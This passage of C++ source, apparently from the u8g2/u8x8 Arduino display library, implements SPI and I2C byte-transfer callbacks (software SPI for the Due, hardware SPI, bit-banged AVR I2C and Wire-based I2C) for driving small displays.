u8x8->display_info->chip_disable_level);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n#elif defined(__SAM3X8E__) \t\t/* Arduino DUE */\n\n/* this function completely replaces u8x8_byte_4wire_sw_spi*/\nextern \"C\" uint8_t u8x8_byte_arduino_4wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t i, b;\n  uint16_t us = ((u8x8->display_info->sck_pulse_width_ns + 999)/1000);\n  uint8_t *data;\n  uint8_t takeover_edge = u8x8_GetSPIClockPhase(u8x8);\n  //uint8_t not_takeover_edge = 1 - takeover_edge;\n\n  /* the following static vars are recalculated in U8X8_MSG_BYTE_START_TRANSFER */\n  /* so, it should be possible to use multiple displays with different pins */\n  \n  /*\n  static volatile uint32_t *arduino_clock_port;  \n  static uint32_t arduino_clock_mask;\n  static uint32_t arduino_clock_n_mask;\n  \n  static volatile uint32_t *arduino_data_port;\n  static uint32_t arduino_data_mask;\n  static uint32_t arduino_data_n_mask;\n  */\n\n  static WoReg *arduinoSetClockPort, *arduinoUnsetClockPort;\n  static uint32_t arduino_clock_mask;\n\n  static WoReg *arduinoSetDataPort, *arduinoUnsetDataPort;\n  static uint32_t arduino_data_mask;\n\n  switch(msg)\n  {\n    case U8X8_MSG_BYTE_SEND:\n    \n      data = (uint8_t *)arg_ptr;      \n      if ( takeover_edge == 0 )\n      {\n\twhile( arg_int > 0 )\n\t{\n\t  b = *data;\n\t  data++;\n\t  arg_int--;\n\t  {\n\t    for( i = 0; i < 8; i++ )\n\t    {\n\t      /*\n\t      if ( b & 128 )\n\t\t*arduino_data_port |= arduino_data_mask;\n\t      else\n\t\t*arduino_data_port &= arduino_data_n_mask;\n\t      */\n\t      if (b & 128)\n\t\t  *arduinoSetDataPort = arduino_data_mask;\n\t      else\n\t\t  *arduinoUnsetDataPort = arduino_data_mask;\n\n\t      //delayMicroseconds(us);\n\t      //*arduino_clock_port |= arduino_clock_mask;\n\t      *arduinoSetClockPort = arduino_clock_mask;\n\t      b <<= 1;\n\t      delayMicroseconds(us);\n\t      //*arduino_clock_port &= arduino_clock_n_mask;\n\t      *arduinoUnsetClockPort = arduino_clock_mask;\n\t    }\n\t  }\n\t}\n      }\n      else\n      {\n\twhile( arg_int > 0 )\n\t{\n\t  b = *data;\n\t  data++;\n\t  arg_int--;\n\t  {\n\t    for( i = 0; i < 8; i++ )\n\t    {\n\t      /*\n\t      if ( b & 128 )\n\t\t*arduino_data_port |= arduino_data_mask;\n\t      else\n\t\t*arduino_data_port &= arduino_data_n_mask;\n\t      */\n\t      if (b & 128)\n\t\t  *arduinoSetDataPort = arduino_data_mask;\n\t      else\n\t\t  *arduinoUnsetDataPort = arduino_data_mask;\n\n\t      //delayMicroseconds(us);\n\t      //*arduino_clock_port &= arduino_clock_n_mask;\n\t      *arduinoUnsetClockPort = arduino_clock_mask;\n\t      b <<= 1;\n\t      delayMicroseconds(us);\n\t      //*arduino_clock_port |= arduino_clock_mask;\t    \n\t      *arduinoSetClockPort = arduino_clock_mask;\n\t    }\n\t  }\n\t}\n      }      \n      break;\n      \n    case U8X8_MSG_BYTE_INIT:\n      /* disable chipselect */\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n      /* no wait required here */\n      \n      /* for SPI: setup correct level of the clock signal */\n      u8x8_gpio_SetSPIClock(u8x8, u8x8_GetSPIClockPhase(u8x8));\n      break;\n    case U8X8_MSG_BYTE_SET_DC:\n      u8x8_gpio_SetDC(u8x8, arg_int);\n      break;\n    case U8X8_MSG_BYTE_START_TRANSFER:\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level);  \n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL);\n\n      /* there is no consistency checking for u8x8->pins[U8X8_PIN_SPI_CLOCK] */\n    \n      /*\n      arduino_clock_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_CLOCK]));\n      arduino_clock_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_SPI_CLOCK]);\n      arduino_clock_n_mask = ~arduino_clock_mask;\n    \n      arduino_data_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_DATA]));\n      arduino_data_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_SPI_DATA]);\n      arduino_data_n_mask = ~arduino_data_mask;\n      */\n      \n      arduinoSetClockPort = &digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_CLOCK])->PIO_SODR;\n      arduinoUnsetClockPort = &digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_CLOCK])->PIO_CODR;\n      arduino_clock_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_SPI_CLOCK]);      \n\n      arduinoSetDataPort = &digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_DATA])->PIO_SODR;\n      arduinoUnsetDataPort = &digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_DATA])->PIO_CODR;\n      arduino_data_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_SPI_DATA]);\n    \n      \n      break;\n    case U8X8_MSG_BYTE_END_TRANSFER:\n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL);\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n#else\n  /* fallback */\n  uint8_t u8x8_byte_arduino_4wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n  {\n    return u8x8_byte_4wire_sw_spi(u8x8, msg,arg_int, arg_ptr);\n  }\n  \n#endif\n\n\n/*=============================================*/\n/*=== 3 WIRE HARDWARE SPI with 8 bit HW SPI Subsystem ===*/\n/* \nreferences: \n  https://github.com/olikraus/ucglib/blob/master/cppsrc/Ucglib.cpp#L581\t\n  https://github.com/olikraus/u8g2/issues/1041 \n*/\n\nstatic uint8_t arduino_hw_spi_3w_buffer[9];\nstatic uint8_t arduino_hw_spi_3w_bytepos;\nstatic uint16_t arduino_hw_spi_3w_dc; // 0 = dc==0, 256 = dc==1\n\nstatic void arduino_hw_spi_3w_init() \n{\n    memset(arduino_hw_spi_3w_buffer, 0, 9);\n    arduino_hw_spi_3w_bytepos = 0;\n}\n\nstatic void arduino_hw_spi_3w_flush(void) \n{\n#ifdef U8X8_HAVE_HW_SPI  \n  uint8_t i;\n  for(i = 0; i <= arduino_hw_spi_3w_bytepos; i++) \n  {\n      SPI.transfer(arduino_hw_spi_3w_buffer[i]);\n  }\n#endif\n}\n\nstatic void arduino_hw_spi_3w_sendbyte(uint8_t data) \n{\n  static union { uint16_t val; struct { uint8_t lsb; uint8_t msb; }; } data16;\t\t// well well, not legal ISO 9899 code\n  \n  data16.val = (arduino_hw_spi_3w_dc + data) << (7 - arduino_hw_spi_3w_bytepos);\n#ifdef __BYTE_ORDER__ \n#if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n  arduino_hw_spi_3w_buffer[arduino_hw_spi_3w_bytepos]   |= data16.msb;\n  ++arduino_hw_spi_3w_bytepos;\n  arduino_hw_spi_3w_buffer[arduino_hw_spi_3w_bytepos] |= data16.lsb;\n#else\n  arduino_hw_spi_3w_buffer[arduino_hw_spi_3w_bytepos]   |= data16.lsb;\n  ++arduino_hw_spi_3w_bytepos;\n  arduino_hw_spi_3w_buffer[arduino_hw_spi_3w_bytepos] |= data16.msb;\n#endif  \n#else // __BYTE_ORDER__  not defined (no gcc)\n  // assume little endian\n  arduino_hw_spi_3w_buffer[arduino_hw_spi_3w_bytepos]   |= data16.msb;\n  ++arduino_hw_spi_3w_bytepos;\n  arduino_hw_spi_3w_buffer[arduino_hw_spi_3w_bytepos] |= data16.lsb;\n#endif\n  \n  if (arduino_hw_spi_3w_bytepos == 8) \n  {\n      arduino_hw_spi_3w_flush();\n      arduino_hw_spi_3w_init();\n  }\n}\n\nextern \"C\" uint8_t u8x8_byte_arduino_3wire_hw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) \n{\n#ifdef U8X8_HAVE_HW_SPI\n  \n  uint8_t *data;\n  uint8_t internal_spi_mode;\n\n  switch(msg) \n  {\n    case U8X8_MSG_BYTE_SEND:\n\tdata = (uint8_t *)arg_ptr;\n\twhile(arg_int > 0) {\n\t    arduino_hw_spi_3w_sendbyte((uint8_t)*data);\n\t    data++;\n\t    arg_int--;\n\t}\n\tbreak;\n\n    case U8X8_MSG_BYTE_INIT:\n\tif ( u8x8->bus_clock == 0 ) \t/* issue 769 */\n\t  u8x8->bus_clock = u8x8->display_info->sck_clock_hz;\n\t/* disable chipselect */\n\tu8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n      \n#if defined(ESP_PLATFORM) || defined(ARDUINO_ARCH_ESP32)\n\t/* ESP32 has the following begin: SPI.begin(int8_t sck=SCK, int8_t miso=MISO, int8_t mosi=MOSI, int8_t ss=-1); */\n\t/* not sure about ESP8266 */\n        /* apply bugfix from PR 2123 */\n\t//if ( u8x8->pins[U8X8_PIN_I2C_CLOCK] != U8X8_PIN_NONE && u8x8->pins[U8X8_PIN_I2C_DATA] != U8X8_PIN_NONE )\n        if ( u8x8->pins[U8X8_PIN_SPI_CLOCK] != U8X8_PIN_NONE && u8x8->pins[U8X8_PIN_SPI_DATA] != U8X8_PIN_NONE )\n        {\n\t  /* SPI.begin(int8_t sck=SCK, int8_t miso=MISO, int8_t mosi=MOSI, int8_t ss=-1); */\n\t  /* actually MISO is not used, but what else could be used here??? */\n\t  //SPI.begin(u8x8->pins[U8X8_PIN_I2C_CLOCK], MISO, u8x8->pins[U8X8_PIN_I2C_DATA]);\n          SPI.begin(u8x8->pins[U8X8_PIN_SPI_CLOCK], MISO, u8x8->pins[U8X8_PIN_SPI_DATA]);\n\t}\n\telse\n\t{\n\t  SPI.begin();\n\t}\n#else\n\tSPI.begin();\n#endif \n      break;\n      \n    case U8X8_MSG_BYTE_SET_DC:\n      arduino_hw_spi_3w_dc = arg_int ? 256 : 0;\n      break;\n      \n    case U8X8_MSG_BYTE_START_TRANSFER:\n            /* SPI mode has to be mapped to the mode of the current controller;\n               at least Uno, Due, 101 have different SPI_MODEx values */\n            internal_spi_mode =  0;\n            switch(u8x8->display_info->spi_mode) {\n                case 0: internal_spi_mode = SPI_MODE0; break;\n                case 1: internal_spi_mode = SPI_MODE1; break;\n                case 2: internal_spi_mode = SPI_MODE2; break;\n                case 3: internal_spi_mode = SPI_MODE3; break;\n            }\n      \n#if ARDUINO >= 10600\n            SPI.beginTransaction(\n                SPISettings(u8x8->bus_clock, MSBFIRST, internal_spi_mode));\n#else\n            SPI.begin();\n            if (u8x8->display_info->sck_pulse_width_ns < 70)\n                SPI.setClockDivider(SPI_CLOCK_DIV2);\n            else if (u8x8->display_info->sck_pulse_width_ns < 140)\n                SPI.setClockDivider(SPI_CLOCK_DIV4);\n            else\n                SPI.setClockDivider(SPI_CLOCK_DIV8);\n            SPI.setDataMode(internal_spi_mode);\n            SPI.setBitOrder(MSBFIRST);\n#endif\n            u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level);  \n            u8x8->gpio_and_delay_cb(\n                u8x8,\n                U8X8_MSG_DELAY_NANO,\n                u8x8->display_info->post_chip_enable_wait_ns,\n                NULL);\n            arduino_hw_spi_3w_init();\n        break;\n\n        case U8X8_MSG_BYTE_END_TRANSFER:      \n            u8x8->gpio_and_delay_cb(\n                u8x8,\n                U8X8_MSG_DELAY_NANO,\n                u8x8->display_info->pre_chip_disable_wait_ns,\n                NULL);\n            if (arduino_hw_spi_3w_bytepos)\n                arduino_hw_spi_3w_flush();\n            u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n\n#if ARDUINO >= 10600\n            SPI.endTransaction();\n#else\n            SPI.end();\n#endif\n        break;\n\n        default:\n            return 0;\n    }\n\n#endif // U8X8_HAVE_HW_SPI\n\n\n    return 1;\n}\n\n\n/*=============================================*/\n/*=== 4 WIRE HARDWARE SPI ===*/\n\n#ifdef U8X8_USE_PINS\n\nextern \"C\" uint8_t u8x8_byte_arduino_hw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n#ifdef U8X8_HAVE_HW_SPI\n\t\n#if !defined(ESP_PLATFORM)\n  uint8_t *data;\n#endif\n\n  uint8_t internal_spi_mode;\n \n  switch(msg)\n  {\n    case U8X8_MSG_BYTE_SEND:\n      \n\n\n#if defined(ESP_PLATFORM)\n      //T.M.L 2023-02-28: use the block transfer function on ESP, which does not overwrite the buffer.\n      SPI.writeBytes((uint8_t*)arg_ptr, arg_int);  \n#else    \n      // 1.6.5 offers a block transfer, but the problem is, that the\n      // buffer is overwritten with the incoming data\n      // so it can not be used...\n      // SPI.transfer((uint8_t *)arg_ptr, arg_int);\n      \n      data = (uint8_t *)arg_ptr;\n      while( arg_int > 0 )\n      {\n        SPI.transfer((uint8_t)*data);\n        data++;\n        arg_int--;\n      }\n#endif\n\n      break;\n    case U8X8_MSG_BYTE_INIT:\n      if ( u8x8->bus_clock == 0 ) \t/* issue 769 */\n\tu8x8->bus_clock = u8x8->display_info->sck_clock_hz;\n      /* disable chipselect */\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n      \n      /* no wait required here */\n      \n      /* for SPI: setup correct level of the clock signal */\n      // removed, use SPI.begin() instead: pinMode(11, OUTPUT);\n      // removed, use SPI.begin() instead: pinMode(13, OUTPUT);\n      // removed, use SPI.begin() instead: digitalWrite(13, u8x8_GetSPIClockPhase(u8x8));\n      \n      /* setup hardware with SPI.begin() instead of previous digitalWrite() and pinMode() calls */\n\n\n      /* issue #377 */\n      /* issue #378: removed ESP8266 support, which is implemented differently */\n#if defined(ESP_PLATFORM) || defined(ARDUINO_ARCH_ESP32)\n      /* ESP32 has the following begin: SPI.begin(int8_t sck=SCK, int8_t miso=MISO, int8_t mosi=MOSI, int8_t ss=-1); */\n      /* not sure about ESP8266 */\n      if ( u8x8->pins[U8X8_PIN_SPI_CLOCK] != U8X8_PIN_NONE && u8x8->pins[U8X8_PIN_SPI_DATA] != U8X8_PIN_NONE )\n      {\n\t/* SPI.begin(int8_t sck=SCK, int8_t miso=MISO, int8_t mosi=MOSI, int8_t ss=-1); */\n\t/* actually MISO is not used, but what else could be used here??? */\n\tSPI.begin(u8x8->pins[U8X8_PIN_SPI_CLOCK], MISO, u8x8->pins[U8X8_PIN_SPI_DATA]);\n      }\n      else\n      {\n\tSPI.begin();\n      }\n#else\n      SPI.begin();\n#endif \n\n      \n\n      break;\n      \n    case U8X8_MSG_BYTE_SET_DC:\n      u8x8_gpio_SetDC(u8x8, arg_int);\n      break;\n      \n    case U8X8_MSG_BYTE_START_TRANSFER:\n      /* SPI mode has to be mapped to the mode of the current controller, at least Uno, Due, 101 have different SPI_MODEx values */\n      internal_spi_mode =  0;\n      switch(u8x8->display_info->spi_mode)\n      {\n\tcase 0: internal_spi_mode = SPI_MODE0; break;\n\tcase 1: internal_spi_mode = SPI_MODE1; break;\n\tcase 2: internal_spi_mode = SPI_MODE2; break;\n\tcase 3: internal_spi_mode = SPI_MODE3; break;\n      }\n      \n#if ARDUINO >= 10600\n      SPI.beginTransaction(SPISettings(u8x8->bus_clock, MSBFIRST, internal_spi_mode));\n#else\n      SPI.begin();\n      \n      if ( u8x8->display_info->sck_pulse_width_ns < 70 )\n\tSPI.setClockDivider( SPI_CLOCK_DIV2 );\n      else if ( u8x8->display_info->sck_pulse_width_ns < 140 )\n\tSPI.setClockDivider( SPI_CLOCK_DIV4 );\n      else\n\tSPI.setClockDivider( SPI_CLOCK_DIV8 );\n      SPI.setDataMode(internal_spi_mode);\n      SPI.setBitOrder(MSBFIRST);\n#endif\n      \n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level);  \n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL);\n      break;\n      \n    case U8X8_MSG_BYTE_END_TRANSFER:      \n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL);\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n\n#if ARDUINO >= 10600\n      SPI.endTransaction();\n#else\n      SPI.end();\n#endif\n\n      break;\n    default:\n      return 0;\n  }\n  \n#else\t/* U8X8_HAVE_HW_SPI */\n\n#endif\t/* U8X8_HAVE_HW_SPI */\n  return 1;\n}\n\n\n/* issue #244 */\nextern \"C\" uint8_t u8x8_byte_arduino_2nd_hw_spi(U8X8_UNUSED u8x8_t *u8x8, U8X8_UNUSED uint8_t msg, U8X8_UNUSED uint8_t arg_int, U8X8_UNUSED void *arg_ptr)\n{\n#ifdef U8X8_HAVE_2ND_HW_SPI\n  uint8_t *data;\n  uint8_t internal_spi_mode;\n \n  switch(msg)\n  {\n    case U8X8_MSG_BYTE_SEND:\n      \n      // 1.6.5 offers a block transfer, but the problem is, that the\n      // buffer is overwritten with the incoming data\n      // so it can not be used...\n      // SPI.transfer((uint8_t *)arg_ptr, arg_int);\n      \n      data = (uint8_t *)arg_ptr;\n      while( arg_int > 0 )\n      {\n\tSPI1.transfer((uint8_t)*data);\n\tdata++;\n\targ_int--;\n      }\n  \n      break;\n    case U8X8_MSG_BYTE_INIT:\n      if ( u8x8->bus_clock == 0 ) \t/* issue 769 */\n\tu8x8->bus_clock = u8x8->display_info->sck_clock_hz;\n      /* disable chipselect */\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n      /* no wait required here */\n      \n      /* for SPI1: setup correct level of the clock signal */\n      // removed, use SPI.begin() instead: pinMode(11, OUTPUT);\n      // removed, use SPI.begin() instead: pinMode(13, OUTPUT);\n      // removed, use SPI.begin() instead: digitalWrite(13, u8x8_GetSPIClockPhase(u8x8));\n      \n      /* setup hardware with SPI.begin() instead of previous digitalWrite() and pinMode() calls */\n      SPI1.begin();\t\n\n      break;\n      \n    case U8X8_MSG_BYTE_SET_DC:\n      u8x8_gpio_SetDC(u8x8, arg_int);\n      break;\n      \n    case U8X8_MSG_BYTE_START_TRANSFER:\n      /* SPI1 mode has to be mapped to the mode of the current controller, at least Uno, Due, 101 have different SPI_MODEx values */\n      internal_spi_mode =  0;\n      switch(u8x8->display_info->spi_mode)\n      {\n\tcase 0: internal_spi_mode = SPI_MODE0; break;\n\tcase 1: internal_spi_mode = SPI_MODE1; break;\n\tcase 2: internal_spi_mode = SPI_MODE2; break;\n\tcase 3: internal_spi_mode = SPI_MODE3; break;\n      }\n      \n#if ARDUINO >= 10600\n      SPI1.beginTransaction(SPISettings(u8x8->bus_clock, MSBFIRST, internal_spi_mode));\n#else\n      SPI1.begin();\n      \n      if ( u8x8->display_info->sck_pulse_width_ns < 70 )\n\tSPI1.setClockDivider( SPI_CLOCK_DIV2 );\n      else if ( u8x8->display_info->sck_pulse_width_ns < 140 )\n\tSPI1.setClockDivider( SPI_CLOCK_DIV4 );\n      else\n\tSPI1.setClockDivider( SPI_CLOCK_DIV8 );\n      SPI1.setDataMode(internal_spi_mode);\n      SPI1.setBitOrder(MSBFIRST);\n#endif\n      \n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level);  \n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL);\n      break;\n      \n    case U8X8_MSG_BYTE_END_TRANSFER:      \n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL);\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n\n#if ARDUINO >= 10600\n      SPI1.endTransaction();\n#else\n      SPI1.end();\n#endif\n\n      break;\n    default:\n      return 0;\n  }\n  \n#else\n#endif\n  return 1;\n}\n\n/*=============================================*/\n/* fast SW I2C for AVR uC */\n\n\n#if !defined(U8X8_USE_PINS)\n  /* no pin information (very strange), so fallback */\nextern \"C\" uint8_t u8x8_byte_arduino_sw_i2c(U8X8_UNUSED u8x8_t *u8x8, U8X8_UNUSED uint8_t msg, U8X8_UNUSED uint8_t arg_int, U8X8_UNUSED void *arg_ptr)\n{\n    return u8x8_byte_sw_i2c(u8x8, msg,arg_int, arg_ptr);\n}\n\n#elif !defined(U8X8_USE_ARDUINO_AVR_SW_I2C_OPTIMIZATION)\n\nextern \"C\" uint8_t u8x8_byte_arduino_sw_i2c(U8X8_UNUSED u8x8_t *u8x8, U8X8_UNUSED uint8_t msg, U8X8_UNUSED uint8_t arg_int, U8X8_UNUSED void *arg_ptr)\n{\n    return u8x8_byte_sw_i2c(u8x8, msg,arg_int, arg_ptr);\n}\n\n#elif __AVR_ARCH__ == 4 || __AVR_ARCH__ == 5 || __AVR_ARCH__ == 51 || __AVR_ARCH__ == 6 || __AVR_ARCH__ == 103\n\n\n/* the following static vars are recalculated in U8X8_MSG_BYTE_START_TRANSFER */\n/* so, it should be possible to use multiple displays with different pins */\n\nstatic volatile uint8_t *arduino_i2c_clock_port;\n\nstatic uint8_t arduino_i2c_clock_mask;\nstatic uint8_t arduino_i2c_clock_n_mask;\n\nstatic volatile uint8_t *arduino_i2c_data_port;\nstatic uint8_t arduino_i2c_data_mask;\nstatic uint8_t arduino_i2c_data_n_mask;\n\n/*\n  software i2c,\n  ignores ACK response (which is anyway not provided by some displays)\n  also does not allow reading from the device\n*/\nstatic void i2c_delay(u8x8_t *u8x8) U8X8_NOINLINE;\nstatic void i2c_delay(u8x8_t *u8x8)\n{\n  //u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_10MICRO, u8x8->display_info->i2c_bus_clock_100kHz);\n  u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_I2C, u8x8->display_info->i2c_bus_clock_100kHz);\n}\n\nstatic void i2c_init(u8x8_t *u8x8)\n{\n  *arduino_i2c_clock_port |= arduino_i2c_clock_mask;\n  *arduino_i2c_data_port |= arduino_i2c_data_mask;\n  i2c_delay(u8x8);\n}\n\n/* actually, the scl line is not observed, so this procedure does not return a value */\n\nstatic void i2c_read_scl_and_delay(u8x8_t *u8x8)\n{\n  /* set as input (line will be high) */\n  *arduino_i2c_clock_port |= arduino_i2c_clock_mask;\n\n  i2c_delay(u8x8);\n}\n\nstatic void i2c_clear_scl(u8x8_t *u8x8)\n{\n  *arduino_i2c_clock_port &= arduino_i2c_clock_n_mask;\n}\n\nstatic void i2c_read_sda(u8x8_t *u8x8)\n{\n  /* set as input (line will be high) */\n  *arduino_i2c_data_port |= arduino_i2c_data_mask;\n}\n\nstatic void i2c_clear_sda(u8x8_t *u8x8)\n{\n  /* set open collector and drive low */\n  *arduino_i2c_data_port &= arduino_i2c_data_n_mask;\n}\n\nstatic void i2c_start(u8x8_t *u8x8)\n{\n  if ( u8x8->i2c_started != 0 )\n  {\n    /* if already started: do restart */\n    i2c_read_sda(u8x8);     /* SDA = 1 */\n    i2c_delay(u8x8);\n    i2c_read_scl_and_delay(u8x8);\n  }\n  i2c_read_sda(u8x8);\n  /* send the start condition, both lines go from 1 to 0 */\n  i2c_clear_sda(u8x8);\n  i2c_delay(u8x8);\n  i2c_clear_scl(u8x8);\n  u8x8->i2c_started = 1;\n}\n\n\nstatic void i2c_stop(u8x8_t *u8x8)\n{\n  /* set SDA to 0 */\n  i2c_clear_sda(u8x8);  \n  i2c_delay(u8x8);\n \n  /* now release all lines */\n  i2c_read_scl_and_delay(u8x8);\n \n  /* set SDA to 1 */\n  i2c_read_sda(u8x8);\n  i2c_delay(u8x8);\n  u8x8->i2c_started = 0;\n}\n\nstatic void i2c_write_bit(u8x8_t *u8x8, uint8_t val)\n{\n  if (val)\n    i2c_read_sda(u8x8);\n  else\n    i2c_clear_sda(u8x8);\n \n  i2c_delay(u8x8);\n  i2c_read_scl_and_delay(u8x8);\n  i2c_clear_scl(u8x8);\n}\n\nstatic void i2c_read_bit(u8x8_t *u8x8)\n{\n  //uint8_t val;\n  /* do not drive SDA */\n  i2c_read_sda(u8x8);\n  i2c_delay(u8x8);\n  i2c_read_scl_and_delay(u8x8);\n  i2c_read_sda(u8x8);\n  i2c_delay(u8x8);\n  i2c_clear_scl(u8x8);\n  //return val;\n}\n\nstatic void i2c_write_byte(u8x8_t *u8x8, uint8_t b)\n{\n  i2c_write_bit(u8x8, b & 128);\n  i2c_write_bit(u8x8, b & 64);\n  i2c_write_bit(u8x8, b & 32);\n  i2c_write_bit(u8x8, b & 16);\n  i2c_write_bit(u8x8, b & 8);\n  i2c_write_bit(u8x8, b & 4);\n  i2c_write_bit(u8x8, b & 2);\n  i2c_write_bit(u8x8, b & 1);\n    \n  /* read ack from client */\n  /* 0: ack was given by client */\n  /* 1: nothing happend during ack cycle */  \n  i2c_read_bit(u8x8);\n}\n\n\nextern \"C\" uint8_t u8x8_byte_arduino_sw_i2c(U8X8_UNUSED u8x8_t *u8x8, U8X8_UNUSED uint8_t msg, U8X8_UNUSED uint8_t arg_int, U8X8_UNUSED void *arg_ptr)\n{\n  uint8_t *data;\n \n  switch(msg)\n  {\n    case U8X8_MSG_BYTE_SEND:\n      data = (uint8_t *)arg_ptr;\n      \n      while( arg_int > 0 )\n      {\n\ti2c_write_byte(u8x8, *data);\n\tdata++;\n\targ_int--;\n      }\n      \n      break;\n      \n    case U8X8_MSG_BYTE_INIT:\n      pinMode(u8x8->pins[U8X8_PIN_I2C_CLOCK], OUTPUT);\n      digitalWrite(u8x8->pins[U8X8_PIN_I2C_CLOCK], 1);\n\n      pinMode(u8x8->pins[U8X8_PIN_I2C_DATA], OUTPUT);\n      digitalWrite(u8x8->pins[U8X8_PIN_I2C_DATA], 1);\n\n      i2c_init(u8x8);\n      break;\n    case U8X8_MSG_BYTE_SET_DC:\n      break;\n    case U8X8_MSG_BYTE_START_TRANSFER:\n    \n      /* there is no consistency checking for u8x8->pins[U8X8_PIN_I2C_CLOCK] */\n    \n      arduino_i2c_clock_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_I2C_CLOCK]));\n      arduino_i2c_clock_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_I2C_CLOCK]);\n      arduino_i2c_clock_n_mask = ~arduino_i2c_clock_mask;\n    \n      /* there is no consistency checking for u8x8->pins[U8X8_PIN_I2C_DATA] */\n\n      arduino_i2c_data_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_I2C_DATA]));\n      arduino_i2c_data_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_I2C_DATA]);\n      arduino_i2c_data_n_mask = ~arduino_i2c_data_mask;\n\n      i2c_start(u8x8);\n      i2c_write_byte(u8x8, u8x8_GetI2CAddress(u8x8));\n      \n      break;\n    case U8X8_MSG_BYTE_END_TRANSFER:\n      i2c_stop(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n  \n}\n\n#else\n\n/* not AVR architecture, fallback */\nextern \"C\" uint8_t u8x8_byte_arduino_sw_i2c(U8X8_UNUSED u8x8_t *u8x8, U8X8_UNUSED uint8_t msg, U8X8_UNUSED uint8_t arg_int, U8X8_UNUSED void *arg_ptr)\n{\n    return u8x8_byte_sw_i2c(u8x8, msg,arg_int, arg_ptr);\n}\n\n#endif\n\n/*=============================================*/\n/*=== HARDWARE I2C ===*/\n\nextern \"C\" uint8_t u8x8_byte_arduino_hw_i2c(U8X8_UNUSED u8x8_t *u8x8, U8X8_UNUSED uint8_t msg, U8X8_UNUSED uint8_t arg_int, U8X8_UNUSED void *arg_ptr)\n{\n#ifdef U8X8_HAVE_HW_I2C\n  switch(msg)\n  {\n    case U8X8_MSG_BYTE_SEND:\n      Wire.write((uint8_t *)arg_ptr, (int)arg_int);\n      break;\n    case U8X8_MSG_BYTE_INIT:\n      if ( u8x8->bus_clock == 0 ) \t/* issue 769 */\n\tu8x8->bus_clock = u8x8->display_info->i2c_bus_clock_100kHz * 100000UL;\n#if defined(ESP8266) || defined(ARDUINO_ARCH_ESP8266) || defined(ESP_PLATFORM) || defined(ARDUINO_ARCH_ESP32)\n      /* for ESP8266/ESP32, Wire.begin has two more arguments: clock and data */          \n      if ( u8x8->pins[U8X8_PIN_I2C_CLOCK] != U8X8_PIN_NONE && u8x8->pins[U8X8_PIN_I2C_DATA] != U8X8_PIN_NONE )\n      {\n\t// second argument for the wire lib is the clock pin. In u8g2, the first argument of the  clock pin in the clock/data pair\n\tWire.begin((int)u8x8->pins[U8X8_PIN_I2C_DATA] , u8x8->pins[U8X8_PIN_I2C_CLOCK]);\n      }\n      else\n      {\n\tWire.begin();\n      }\n#else\n      Wire.begin();\n#endif\n      break;\n    case U8X8_MSG_BYTE_SET_DC:\n      break;\n    case U8X8_MSG_BYTE_START_TRANSFER:\n#if ARDUINO >= 10600\n      /* not sure when the setClock function was introduced, but it is there since 1.6.0 */\n      /* if there is any error with Wire.setClock() just remove this function call by */\n      /* defining U8X8_DO_NOT_SET_WIRE_CLOCK */\n#ifndef U8X8_DO_NOT_SET_WIRE_CLOCK\n      Wire.setClock(u8x8->bus_clock);\n#endif \n#endif\n      Wire.beginTransmission(u8x8_GetI2CAddress(u8x8)>>1);\n      break;\n    case U8X8_MSG_BYTE_END_TRANSFER:\n      Wire.endTransmission();\n      break;\n    default:\n      return 0;\n  }\n#endif\n  return 1;\n}\n\nextern \"C\" uint8_t u8x8_byte_arduino_2nd_hw_i2c(U8X8_UNUSED u8x8_t *u8x8, 